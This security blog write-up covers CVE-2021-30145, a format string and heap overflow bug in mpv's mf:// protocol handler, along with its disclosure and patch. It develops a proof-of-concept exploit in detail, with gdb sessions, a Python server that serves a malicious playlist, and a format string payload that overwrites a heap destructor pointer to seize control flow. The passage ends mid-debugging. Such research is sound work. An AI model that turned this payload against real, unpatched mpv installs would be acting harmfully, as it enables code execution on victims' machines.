devel0pment.de

hacking, software, it-security

**12. APRIL 2021 BY SCRYH**

# mpv media player – mf custom protocol vulnerability (CVE-2021-30145)


The mpv media player provides a custom protocol handler (`mf://`) in order to merge multiple images to a video. An undocumented feature within this protocol handler allows the usage of a format specifier in the provided URL, which is evaluated using `sprintf`. This results in both, a format string vulnerability as well as a heap overflow (CVE-2021-30145).

After disclosing the vulnerability to the mpv team on the 3rd April 2021 I got an immediate response. The mpv team took the issue very seriously and immediately started to work on a patch with me. This was the first time I disclosed a vulnerability to an open source project and I was really impressed about the professional reaction and the passionate commitment. The patch was released only two days after my report on the 5th April 2021 (commit). Thanks a lot to `avih`, `sfan5` and `jeeb`.

The impact of the format string vulnerability is limited on Linux, because the binary is compiled with `FORTIFY_SOURCE` by default. Though the heap overflow can be used to gain arbitrary code execution by overflowing into an adjacent heap chunk and setting a function pointer to an attacker controlled value. Nevertheless I estimate the probability of exploitation in real life as quite low, because a victim has to be tricked into opening a malicious playlist (e.g. via a URL like `http://10.0.0.1/evil.m3u`) and the attacker has to have detailed information about the victim's system to fine-tune the exploit.

Within this article I describe the vulnerability itself as well as the development of a proof of concept exploit for `Ubuntu 20.04.2 LTS` with `ASLR` disabled. At the end of the article I outline a few thoughts on how ASLR can be bypassed and what changes if we develop an exploit for Windows. The article is divided into the following sections:



## Introduction

I have recently started to review some popular open source software by choosing interesting projects from GitHub's trending page. One of the projects I have been looking at is `mpv`. mpv is an open source media player available for a wide variety of operating systems (Windows, macOS, Linux, …).

When searching for possibly vulnerable function calls, I came upon this suspicious call to `sprintf`:

```
...
mp_info(log, "search expr: %s\n", filename);

while (error_count < 5) {
    sprintf(fname, filename, count++);
    if (!mp_path_exists(fname)) {
        error_count++;
        mp_verbose(log, "file not found: '%s'\n", fname);
    } else {
        mf_add(mf, fname);
    }
}
...
```

One reason for this call being suspicious is that the second parameter to `sprintf` (which is the format string), is called `filename`. This sounds pretty user controllable. Another reason is that `sprintf` should be avoided at all, because it does not do any boundary checks. The safer alternative is `snprintf`, which takes an additional argument specifying the maximum amount of bytes to write. If `sprintf` is used nonetheless, the calling code must ensure that the buffer is big enough to prevent a buffer overflow. My first impression was, that this is not the case here.

## Format String Vulnerability

Let's start by verifying that we can actually control the `filename` variable and thus the format string passed to `sprintf`. The function surrounding the call is named `open_mf_pattern` (see code here). The third paramater of this function is the variable `filename`. In order to reach the call to `sprintf`, the following conditions have to be met:

```
- strchr(filename, '%') (line 127)
```

Accordingly the provided `filename` should not start with an at sign (`@`), should not contain a comma (`,`), but should contain at least one percent sign (`%`).

Keeping this in mind we need to look where `open_mf_pattern` is called from. This leads us to the function `demux_open_mf`:

```
static int demux_open_mf(demuxer_t *demuxer, enum demux_check check)
{
    mf_t *mf;

    if (strncmp(demuxer->stream->url, "mf://", 5) == 0 && ...)
    {
        mf = open_mf_pattern(demuxer, demuxer, demuxer->stream->url + 5);
        ...
```

Here we can see that if the URL of the stream being opened (`demuxer->stream->url`) begins with the string `mf://`, the function `open_mf_pattern` is called. The third parameter (`filename`) is set to the stream URL omitting the prefix `mf://`.

The `demux_open_mf` function is stored as a callback in the `demuxer_desc_mf` struct:

```
const demuxer_desc_t demuxer_desc_mf = {
    .name = "mf",
    .desc = "image files (mf)",
    .read_packet = demux_mf_read_packet,
    .open = demux_open_mf,
    ...
};
```

This struct defines callbacks for the `mf` demuxer, which is referenced by the corresponding stream (`stream_info_mf` struct) using the name `"mf"`:

```
const stream_info_t stream_info_mf = {
    .name = "mf",
    .open = mf_stream_open,
    .protocols = (const char*const[]){ "mf", NULL },
};
```

When the provided protocol is set to `mf://` this stream is created.

We can now verify, that we can reach the `sprintf` call by loading mpv in gdb and setting a breakpoint on the function call:

```
user@b0x:~/opt/mpv/build$ gdb ./mpv
...
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
...
   0x000000000005a3c7 <+551>:   mov    esi,0x1
   0x000000000005a3cc <+556>:   add    ebx,0x1
   0x000000000005a3cf <+559>:   call   0x327c0 <__sprintf_chk@plt>
   0x000000000005a3d4 <+564>:   mov    rdi,r13
   0x000000000005a3d7 <+567>:   call   0x95b60 <mp_path_exists>
   0x000000000005a3dc <+572>:   test   al,al
...
gdb-peda$ b *open_mf_pattern+559
Breakpoint 1 at 0x5a3cf: file /usr/include/x86_64-linux-gnu/bits/stdio2.h, line 36.
```

As we can see, the function being called is actually `__sprintf_chk`. Since the binary was compiled with `FORTIFY_SOURCE` enabled, calls to `printf`, `sprintf`, etc. are replaced with these safer versions, which are suffixed with `_chk`. The presence of this security feature is also displayed by e.g. using the gdb-peda command `checksec`:

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
```

After having set the breakpoint, we can now run mpv and provide a `mf://` URL. For the URL we must ensure to meet the above mentioned criteria. For example `mf://test%d`:

```
gdb-peda$ r mf://test%d
Starting program: /home/user/opt/mpv/build/mpv mf://test%d
...
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x1
RCX: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
RDX: 0xffffffffffffffff
RSI: 0x1
RDI: 0x7fffe40020a0 --> 0x0
RBP: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
RSP: 0x7fffebcaee00 --> 0x7fffebcaf0df --> 0x5555556b95a000
RIP: 0x5555555ae3cf (<open_mf_pattern+559>:     call   0x5555555867c0 <__sprintf_chk@plt>)
R8 : 0x0
R9 : 0x4
R10: 0x1
R11: 0x0
R12: 0x7fffe4002020 --> 0x7fffe4001970 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
R13: 0x7fffe40020a0 --> 0x0
R14: 0x7fffe4001970 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
```

```
   0x5555555ae3c0 <open_mf_pattern+544>:        mov    rdx,0xffffffffffffffff
   0x5555555ae3c7 <open_mf_pattern+551>:        mov    esi,0x1
   0x5555555ae3cc <open_mf_pattern+556>:        add    ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
   0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
   0x5555555ae3d7 <open_mf_pattern+567>:        call   0x5555555e9b60 <mp_path_exists>
   0x5555555ae3dc <open_mf_pattern+572>:        test   al,al
   0x5555555ae3de <open_mf_pattern+574>:        je     0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7fffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
arg[4]: 0x0
...
```

We actually hit the breakpoint. The second (`0x1`) and third parameter (`0xffffffffffffffff`) are additional parameters introduced by replacing `sprintf` with `__sprintf_chk`. We get to these parameters soon. Aside from this we can see that the URL we provided (omitting the prefix `mf://`) is actually passed as the fourth parameter, which is the format string. Thus we have verified the format string vulnerability.

By running mpv with the `-v` option in order to increase the verbosity, we can actually see the format string vulnerability in the verbose output:

```
user@b0x:~/opt/mpv/build$ ./mpv -v mf://%p.%p.%p.%p
...
[mf] Opening mf://%p.%p.%p.%p
[demux] Trying demuxers for level=request.
[mf] search expr: %p.%p.%p.%p
[mf] file not found: '(nil).0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x1.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x2.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x3.0x4.0x55555575ea93.0x55555575e880'
[mf] file not found: '0x4.0x4.0x55555575ea93.0x55555575e880'
[mf] number of files: 0
[cplayer] Opening failed or was aborted: mf://%p.%p.%p.%p
[cplayer] finished playback, unrecognized file format (reason 4)
[cplayer] Failed to recognize file format.
[cplayer]
[cplayer] Exiting... (Errors when loading file)
```

Since we provided invalid filenames, an error message for each file is displayed, which contains the string produces via the `sprintf` call. The provided format specifiers (`%p`) are indeed evaluated.

A format string vulnerability is usually a very powerful exploitation primitive. Though without spoiling too much: `FORTIFY_SOURCE` greatly reduces the possible impact. We will get to the exploitation considerations in the exploitation section. Let's first have a look at the additional parameters introduced by replacing `sprintf` with `__sprintf_chk` again.

## Heap Overflow

When we hit the breakpoint on `__sprintf_chk`, we see two additional parameters (second and third):

```
...
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
   0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
   0x5555555ae3d7 <open_mf_pattern+567>:        call   0x5555555e9b60 <mp_path_exists>
   0x5555555ae3dc <open_mf_pattern+572>:        test   al,al
   0x5555555ae3de <open_mf_pattern+574>:        je     0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7fffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7fffe40011f5 --> 0x642574736574 ('test%d')
arg[4]: 0x0
...
```

The second parameter is called `flag` and has a value of `0x1`. This value determines the amount of security measures `__sprintf_chk` should perform. For our considerations, we don't need to dig deeper here. More interesting to notice is the third parameter, which is called `strlen` and determines the maximum amount of bytes the destination buffer can receive. This is similar to the additional `n` parameter passed to `snprintf`. Though in this case the value is obviously set to `0xffffffffffffffff`, which effectively disables this buffer overflow protection. The reason for this is that the destination buffer was dynamically allocated on the heap. Thus the compiler could not now in advance, how big the buffer is and simply defaults it to `0xffffffffffffffff`. If a static buffer is used (e.g. `char buf[100]`), the `FORTIFY_SOURCE` option actually prevents `sprintf` (replaced by `__sprintf_chk`) from overflowing the buffer (terminating the program with the error message `*** buffer overflow detected ***: terminated`).

The allocation for the destination buffer called `fname` is also done in the `open_mf_pattern` function (see code here):

```
...
    char *fname = talloc_size(mf, strlen(filename) + 32);
...
```

The size of the buffer is equal to the size of the provided `filename` plus additional 32 bytes. It is quite obvious that these 32 bytes are not enough, because we can provide multiple, arbitrary format specifiers and `__sprintf_chk` won't prevent a buffer overflow. Let's also verify that by setting an additional breakpoint on the allocation (`talloc_size`):

```
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
...
   0x000000000005a328 <+392>:   mov    rdi,rbp
```

```
   0x000000000005a33c <+412>:   lea    rsi,[rip+0xb898c]        # 0x112ccf
...
gdb-peda$ b *open_mf_pattern+407
Breakpoint 2 at 0x5a337: file ../demux/demux_mf.c, line 124.
```

In order to make `__sprintf_chk` write a huge amount of bytes to the destination buffer, we can use a padded format specifier like `%1000d`:

```
gdb-peda$ r mf://%1000d
Starting program: /home/user/opt/mpv/build/mpv mf://%1000d
...
[-------------------------------------code-------------------------------------]
   0x5555555ae32b <open_mf_pattern+395>:        call   0x555555585400 <strlen@plt>
   0x5555555ae330 <open_mf_pattern+400>:        mov    rdi,r12
   0x5555555ae333 <open_mf_pattern+403>:        lea    rsi,[rax+0x20]
=> 0x5555555ae337 <open_mf_pattern+407>:        call   0x55555565e290 <ta_alloc_size>
   0x5555555ae33c <open_mf_pattern+412>:        lea    rsi,[rip+0xb898c]        # 0x555555666ccf
   0x5555555ae343 <open_mf_pattern+419>:        mov    rdi,rax
   0x5555555ae346 <open_mf_pattern+422>:        call   0x55555565e680 <ta_dbg_set_loc>
   0x5555555ae34b <open_mf_pattern+427>:        mov    rdi,rax
Guessed arguments:
arg[0]: 0x7fffe4002020 --> 0x7fffe4001970 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
arg[1]: 0x26 ('&')
...
```

The requested size for the allocation is `0x26` = `38` bytes (`strlen("%1000d") + 32`).

The address of the allocated chunk is stored in `RAX` after we proceed to the next instruction:

```
gdb-peda$ ni
[-----------------------------------registers-----------------------------------]
RAX: 0x7fffe40020a0 --> 0x0
...
[-------------------------------------code-------------------------------------]
   0x5555555ae330 <open_mf_pattern+400>:        mov    rdi,r12
   0x5555555ae333 <open_mf_pattern+403>:        lea    rsi,[rax+0x20]
   0x5555555ae337 <open_mf_pattern+407>:        call   0x55555565e290 <ta_alloc_size>
=> 0x5555555ae33c <open_mf_pattern+412>:        lea    rsi,[rip+0xb898c]        # 0x555555666ccf
```

Since the chunk was allocated using `talloc_size`, it contains a special header (`struct ta_header`), which begins `0x50` bytes before the return address. We will get to the details in the exploitation section. For now it is only necessary to know that the first member of the header (`0x0000000000000026`) is the size of the allocated chunk:

```
...
gdb-peda$ x/20xg 0x7fffe40020a0-0x50
0x7fffe4002050: 0x0000000000000026      0x0000000000000000
0x7fffe4002060: 0x0000000000000000      0x0000000000000000
0x7fffe4002070: 0x00007fffe4001fd0      0x0000000000000000
0x7fffe4002080: 0x00000000d3adb3ef      0x0000000000000000
0x7fffe4002090: 0x0000000000000000      0x0000000000000000
0x7fffe40020a0: 0x0000000000000000      0x0000000000000000
0x7fffe40020b0: 0x0000000000000000      0x0000000000000000
0x7fffe40020c0: 0x0000000000000000      0x000000000001ef41
0x7fffe40020d0: 0x0000000000000000      0x0000000000000000
0x7fffe40020e0: 0x0000000000000000      0x0000000000000000
```

Now let's proceed to the call to `__sprintf_chk`:

```
gdb-peda$ c
Continuing.
...
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
   0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
   0x5555555ae3d7 <open_mf_pattern+567>:        call   0x5555555e9b60 <mp_path_exists>
   0x5555555ae3dc <open_mf_pattern+572>:        test   al,al
   0x5555555ae3de <open_mf_pattern+574>:        je     0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7fffe40020a0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7fffe40011f5 --> 0x643030303125 ('%1000d')
arg[4]: 0x0
```

We can verify that the destination buffer is the allocated chunk at `0x7fffe40020a0`. Let's execute the `__sprintf_chk` by stepping to the next instruction:

```
gdb-peda$ ni
...
   0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
=> 0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
```

The `__sprintf_chk` call wrote way beyond the `0x26` bytes allocated for the chunk:

```
gdb-peda$ x/100xg 0x7fffe40020a0-0x50
0x7fffe4002050: 0x0000000000000026      0x0000000000000000
0x7fffe4002060: 0x0000000000000000      0x0000000000000000
0x7fffe4002070: 0x00007fffe4001fd0      0x0000000000000000
0x7fffe4002080: 0x00000000d3adb3ef      0x0000000000000000
0x7fffe4002090: 0x0000000000000000      0x0000555555666ccf
0x7fffe40020a0: 0x2020202020202020      0x2020202020202020
0x7fffe40020b0: 0x2020202020202020      0x2020202020202020
0x7fffe40020c0: 0x2020202020202020      0x2020202020202020
0x7fffe40020d0: 0x2020202020202020      0x2020202020202020
```

```
0x7fffe4002120: 0x2020202020202020      0x2020202020202020
0x7fffe4002130: 0x2020202020202020      0x2020202020202020
0x7fffe4002140: 0x2020202020202020      0x2020202020202020
0x7fffe4002150: 0x2020202020202020      0x2020202020202020
0x7fffe4002160: 0x2020202020202020      0x2020202020202020
0x7fffe4002170: 0x2020202020202020      0x2020202020202020
0x7fffe4002180: 0x2020202020202020      0x2020202020202020
0x7fffe4002190: 0x2020202020202020      0x2020202020202020
0x7fffe40021a0: 0x2020202020202020      0x2020202020202020
...
```

If we continue the execution of the program, we get a segmentation fault because of the corrupted heap:

```
gdb-peda$ d br 1
gdb-peda$ c
Continuing.
[mf] number of files: 0
free(): invalid next size (fast)

Thread 3 "mpv/opener" received signal SIGABRT, Aborted.
...
Stopped reason: SIGABRT
__GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
```

We have verified that the `sprintf` call also results in a heap overflow vulnerability.

# Exploitation

In the last section we have seen that the usage of `sprintf` with a user controllable format string and no boundary checks introduces two kind of vulnerabilities: a format string vulnerability as well as a heap overflow, which is based on the format string vulnerability.

A format string vulnerability is usually a very powerful exploitation primitive. The combination of output padding (e.g. `%1337d`) with the usage of the `%n` format specifier can generally be used in order to write arbitrary values to memory. By leveraging the dynamic field width it might even be possible to bypass ASLR in an one-shot exploit. Though in this case the impact of the format string vulnerability is limited on Linux, because the binary is compiled with `FORTIFY_SOURCE` by default. Because of this the call to `sprintf` is replaced with a call to `__sprintf_chk`, which terminates the program if a `%n` format specifier is used within a format string in writable memory (`*** %n in writable segment detected ***`). In order to determine this `__sprintf_chk` parses the output of `/proc/self/maps`. From a security perspective this is a good trade-off: the `%n` can still be used in static (read-only) strings, but the primary exploitation technique (using `%n` in a writable format string) is eliminated. From an exploitation development perspective this is bad: we cannot use the format string vulnerability to write to memory. This limits it to the ability to leak memory addresses, which is quite useless considering the assumed attack vector, where a victim is lured into opening a malicious URL. For a remote attacker it is not of any use, if a few leaked addresses pop up in the victims shell. On Windows the situation is a little bit different, but we will focus on Linux for now.

Here we are left with the heap overflow, which is based on the format string vulnerability and can be provoked by using padded format specifiers. A heap overflow introduces a huge amount of exploitation possibilities, but is very dependent on the concrete context. In some situations even a single null byte overflow can be used to gain arbitrary code execution by corrupting the heap meta data.

For the development of this proof of concept exploit I am using `mpv 0.33.0` on `Ubuntu 20.04.2 LTS` with `GLIBC 2.31-0ubuntu9.2` and `ASLR` disabled.

We have already seen that mpv seems to use some custom allocation mechanisms, since the chunk for the format string was not allocated using a plain `malloc`, but rather the custom function `talloc_size`. The allocator used here is called `Tree Allocator`, which core is implemented in ta.c. More details can be found here. Basically the idea is to not only have independently allocated chunks, but a tree structure of allocated chunks. For this purpose each chunk is proceeded by a header struct called `ta_header`:

```
struct ta_header {
    size_t size;                // size of the user allocation
    // Invariant: parent!=NULL => prev==NULL
    struct ta_header *prev;     // siblings list (by destructor order)
    struct ta_header *next;
    // Invariant: parent==NULL || parent->child==this
    struct ta_header *child;    // points to first child
    struct ta_header *parent;   // set for _first_ child only, NULL otherwise
    void (*destructor)(void *);
#if TA_MEMORY_DEBUGGING
    unsigned int canary;
    struct ta_header *leak_next;
    struct ta_header *leak_prev;
    const char *name;
#endif
};
```

What is really eye-catching here from an exploitation point of view is the `destructor` function pointer. Having a function pointer on the heap possibly enables the ability to leverage the heap overflow vulnerability in order to overflow into an adjacent chunk overwriting this function pointer. When the program calls the `destructor` function for this specific chunk without crashing beforehand, we gain code execution.

In the above `ta_header` struct we can also see, that there is a `canary` member if `TA_MEMORY_DEBUGGING` is enabled, which is the case by default. Though the purpose of this canary is to prevent software bugs rather than being an exploitation mitigation. Accordingly the canary is always set to the static value `0xD3ADB3EF`:

```
...
#define CANARY 0xD3ADB3EF
...

static void ta_dbg_add(struct ta_header *h)
```

My first approach was to simply follow the before mentioned strategy: overflow into an adjacent chunk and overwrite the `destructor` function pointer. At first we need to determine where the `destructor` function is called from. This leads us to the function `ta_free`:

```
void ta_free(void *ptr)
{
    struct ta_header *h = get_header(ptr);
    if (!h)
        return;
    if (h->destructor)
        h->destructor(ptr);
    ta_free_children(ptr);
    ta_set_parent(ptr, NULL);
    ta_dbg_remove(h);
    free(h);
}
```

The logic is straightforward: if the `destructor` is set (not `NULL`), it is called with the first argument being the chunk pointer to be free'd (`ptr`). Beforehand (in the first line) `get_header` is called to get the pointer to the `ta_header` struct. Within `get_header` an additional function named `ta_dbg_check_header` is called:

```
static struct ta_header *get_header(void *ptr)
{
    struct ta_header *h = ptr ? PTR_TO_HEADER(ptr) : NULL;
    ta_dbg_check_header(h);
    return h;
}
```

This function validates the chunk by comparing the `canary` value and checking the integrity of the `parent` pointer:

```
static void ta_dbg_check_header(struct ta_header *h)
{
    if (h) {
        assert(h->canary == CANARY);
        if (h->parent) {
            assert(!h->prev);
            assert(h->parent->child == h);
        }
    }
}
```

We need to keep this in mind when crafting our exploit.

At first we start to implement a little web-server, which only serves a playlist file (regardless of the request):

```
#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 7000))
s.listen(5)
c, a = s.accept()

playlist  = b'mf://'
playlist += b'A'*0x48
playlist += b'%d' # we need a '%' to reach vulnerable path

d  = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'\r\n'
d += playlist

c.send(d)
c.close()
```

The script starts a listening socket on port `7000` and answers to all connecting clients with a HTTP response containing a playlist file (`Content-type: audio/x-mpegurl`). The playlist in the body only contains a single entry: `mf://AAAA…%d`. The `%` is necessary to reach the `__sprintf_chk` call. The amount of `A`s (`0x48`) is used to adjust the size of the filename. This is relevant, because depending on the size of the filename, the allocated chunk ends up in different heap locations. If we for example only use `mf://AAAA%d` the call to `ta_alloc_size` requests a smaller chunk for the destination buffer, which will be served from a different location in the heap. Using `'mf://' + 'A'*0x48 + '%d'` turned out to end up in a suitable heap location. Let's start gdb again, set a breakpoint on the `__sprintf_chk` call and try to open the playlist:

```
gdb-peda$ b *open_mf_pattern+559
Breakpoint 1 at 0x5a3cf: file /usr/include/x86_64-linux-gnu/bits/stdio2.h, line 36.
gdb-peda$ r http://localhost:7000/x.m3u
Starting program: /home/user/opt/mpv/build/mpv http://localhost:7000/x.m3u
...
[--------------------------------------code--------------------------------------]
   0x5555555ae3c0 <open_mf_pattern+544>:        mov    rdx,0xffffffffffffffff
   0x5555555ae3c7 <open_mf_pattern+551>:        mov    esi,0x1
   0x5555555ae3cc <open_mf_pattern+556>:        add    ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
   0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
   0x5555555ae3d7 <open_mf_pattern+567>:        call   0x5555555e9b60 <mp_path_exists>
   0x5555555ae3dc <open_mf_pattern+572>:        test   al,al
   0x5555555ae3de <open_mf_pattern+574>:        je     0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7fffe400e930 --> 0x55555572bba0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7fffe408f695 ('A' <repeats 72 times>, "%d")
```

We hit the breakpoint. The destination of `__sprintf_chk`, which is the chunk allocated by `ta_alloc_size` is located at `0x7fffe400e930` (first parameter). This address references the actual data of the allocated chunk. In order to see the `ta_header` before it, we need to substract `0x50` from this address:

```
gdb-peda$ x/70xg 0x7fffe400e930-0x50
0x7fffe400e8e0: 0x000000000000006a      0x0000000000000000      <-- [      size    |    prev     ]
0x7fffe400e8f0: 0x0000000000000000      0x0000000000000000      <-- [      next    |    child    ]
0x7fffe400e900: 0x00007fffe400d0a0      0x0000000000000000      <-- [     parent   |  destructor ]
0x7fffe400e910: 0x00000000d3adb3ef      0x0000000000000000      <-- [     canary   |  leak_next  ]
0x7fffe400e920: 0x0000000000000000      0x0000555555666ccf      <-- [  leak_prev   |    name     ]
0x7fffe400e930: 0x000055555572bba0      0x0000000000000009      <-- begin actual data ...
0x7fffe400e940: 0x00007fffe400d3f0      0x0000000000000001
0x7fffe400e950: 0x0000000000000080      0x0000000000000084
0x7fffe400e960: 0x00007fffe400dda0      0x00007fffe40008d0
0x7fffe400e970: 0x0000000000000000      0x0000000000000000
0x7fffe400e980: 0x0000000000000000      0x0000000000000000
0x7fffe400e990: 0x0000000000000000      0x0000000000000000
0x7fffe400e9a0: 0x0000000000000000      0x0000000000000031
0x7fffe400e9b0: 0x00007fffe4000080      0x00007fffe4000080
0x7fffe400e9c0: 0x0000000000000000      0x000000810000ac44
0x7fffe400e9d0: 0x0000000000000030      0x00000000000000f4
0x7fffe400e9e0: 0x00007fffe400f240      0x00005555556ec010
0x7fffe400e9f0: 0x0000000000000000      0x0000000000000000
0x7fffe400ea00: 0x0000000000000000      0x00005555555d92e0
0x7fffe400ea10: 0x0000000000000000      0x0000000000000000
0x7fffe400ea20: 0x0000000000000000      0x0000555555670d90
0x7fffe400ea30: 0x00007fffe400f290      0x0000000000000000
0x7fffe400ea40: 0x0000000000000000      0x000055555572bba0
0x7fffe400ea50: 0x00007fffe400ea58      0x0000000000000000
0x7fffe400ea60: 0x00007fffe400e5c0      0x000055555572c470
0x7fffe400ea70: 0x000055555572bba0      0x0000002100000020
0x7fffe400ea80: 0x0000000000000000      0xffffffff00000000
0x7fffe400ea90: 0x0000000000000000      0x0000000000000000
0x7fffe400eaa0: 0x0000000000000000      0x0000000000000000
0x7fffe400eab0: 0x0000000000000000      0x0000000000000000
0x7fffe400eac0: 0x0000000000000000      0x0000000000000265
0x7fffe400ead0: 0x00000000000001f8      0x00007fffe400cf50      <-- [      size    |    prev     ]
0x7fffe400eae0: 0x00007fffe400e6a0      0x00007fffe400e7f0      <-- [      next    |    child    ]
0x7fffe400eaf0: 0x0000000000000000      0x0000000000000000      <-- [     parent   |  destructor ]
0x7fffe400eb00: 0x00000000d3adb3ef      0x0000000000000000      <-- [     canary   |  ...
```

We can see that there is actually an adjacent chunk, which `ta_header` struct begins at `0x7fffe400ead0`.

Our next goal is to overwrite the `destructor` pointer of this adjacent chunk. We also need to ensure that we bypass the check within `ta_dbg_check_header` mentioned before:

```
static void ta_dbg_check_header(struct ta_header *h)
{
    if (h) {
        assert(h->canary == CANARY);
        if (h->parent) {
            assert(!h->prev);
            assert(h->parent->child == h);
        }
    }
}
```

The `canary` value is not a problem, because it is located after the `destructor` pointer. Though we need to set the `parent` to `NULL`, in order to prevent the assertion checks within the inner if statement.

This can be satisfied by using the following URL:

```
...
playlist  = b'mf://'
playlist += b'A'*0x18
playlist += b'%422c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\xef\xbe\xad\xde'
...
```

The `b'A'*0x18` ensures that the size of the filename stays the same so that we end up in the desired heap location. The first padded format specifier `%422c` provokes the heap overflow and ensures that the following data ends up at the correct location within the `ta_header` of the adjacent chunk. The purpose of the two following `%c` is just to skip to an argument, which value is `0`. This is the case for the fourth argument as we can see on the call to `__sprintf_chk`:

```
...
R8 : 0x0        <-- 1st argument (will change due to the for loop)
R9 : 0x4        <-- 2nd argument
...
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffebcaee00 --> 0x7fffebcaf0df --> 0x5555556b95a000    <-- 3rd argument
0008| 0x7fffebcaee08 --> 0x0                                    <-- 4th argument
...
```

On the first call to `__sprintf_chk` the first argument is `0` too, but this will change on the next loop iteration. The fourth argument stays `0` throughout the loop, so we use this.

Next within the URL is `%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c`, which writes eight null bytes (`0x0000000000000000`) to the destination. These will end up in the `parent` pointer of the adjacent chunk. After this follows `\xef\xbe\xad\xde`, which will write the value `0xdeadbeef` to the `destructor` pointer:

```
struct ta_header {
...
    struct ta_header *parent;   // <-- 0x0000000000000000
```

Let's rerun the web-server with the adjusted URL and open it with mpv:

```
gdb-peda$ r http://localhost:7000/x.m3u
Starting program: /home/user/opt/mpv/build/mpv http://localhost:7000/x.m3u
...
[-------------------------------------code-------------------------------------]
   0x5555555ae3c0 <open_mf_pattern+544>:        mov    rdx,0xffffffffffffffff
   0x5555555ae3c7 <open_mf_pattern+551>:        mov    esi,0x1
   0x5555555ae3cc <open_mf_pattern+556>:        add    ebx,0x1
=> 0x5555555ae3cf <open_mf_pattern+559>:        call   0x5555555867c0 <__sprintf_chk@plt>
   0x5555555ae3d4 <open_mf_pattern+564>:        mov    rdi,r13
   0x5555555ae3d7 <open_mf_pattern+567>:        call   0x5555555e9b60 <mp_path_exists>
   0x5555555ae3dc <open_mf_pattern+572>:        test   al,al
   0x5555555ae3de <open_mf_pattern+574>:        je     0x5555555ae390 <open_mf_pattern+496>
Guessed arguments:
arg[0]: 0x7fffe400e930 --> 0x55555572bba0 --> 0x0
arg[1]: 0x1
arg[2]: 0xffffffffffffffff
arg[3]: 0x7fffe408f695 ('A' <repeats 24 times>, "%422c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c", <incomplete sequence \336>)
arg[4]: 0x0
...
```

At this point we are right before the call to `__sprintf_chk` and the adjacent chunk is still untouched:

```
gdb-peda$ x/10xg 0x7fffe400ead0
0x7fffe400ead0: 0x00000000000001f8      0x00007fffe400cf50      <-- [     size    |    prev     ]
0x7fffe400eae0: 0x00007fffe400e6a0      0x00007fffe400e7f0      <-- [     next    |    child    ]
0x7fffe400eaf0: 0x0000000000000000      0x0000000000000000      <-- [    parent   | destructor  ]
0x7fffe400eb00: 0x00000000d3adb3ef      0x0000000000000000      <-- [    canary   |  leak_next  ]
0x7fffe400eb10: 0x0000000000000000      0x0000555555664822      <-- [  leak_prev  |    name     ]
```

If we now step to the next instruction, `__sprintf_chk` is called with our format string and the overflow is triggered:

```
gdb-peda$ ni
...
gdb-peda$ x/10xg 0x7fffe400ead0
0x7fffe400ead0: 0x2020202020202020      0x2020202020202020      <-- [     size    |    prev     ]
0x7fffe400eae0: 0x2020202020202020      0xdf04002020202020      <-- [     next    |    child    ]
0x7fffe400eaf0: 0x0000000000000000      0x00000000deadbeef      <-- [    parent   | destructor  ]
0x7fffe400eb00: 0x00000000d3adb3ef      0x0000000000000000      <-- [    canary   |  leak_next  ]
0x7fffe400eb10: 0x0000000000000000      0x0000555555664822      <-- [  leak_prev  |    name     ]
```

The first members of the `ta_header` are simply overwritten with `0x20` bytes (space), because of the padding we used. Though these members are not relevant in order to reach the `destructor` function call. The `parent` member was successfully overwritten with `0x0000000000000000` and the `destructor` with `0x00000000deadbeef`. If we continue the execution, we get a segmentation fault, which is caused by the `RIP` being `0xdeadbeef`:

```
gdb-peda$ c
Continuing.
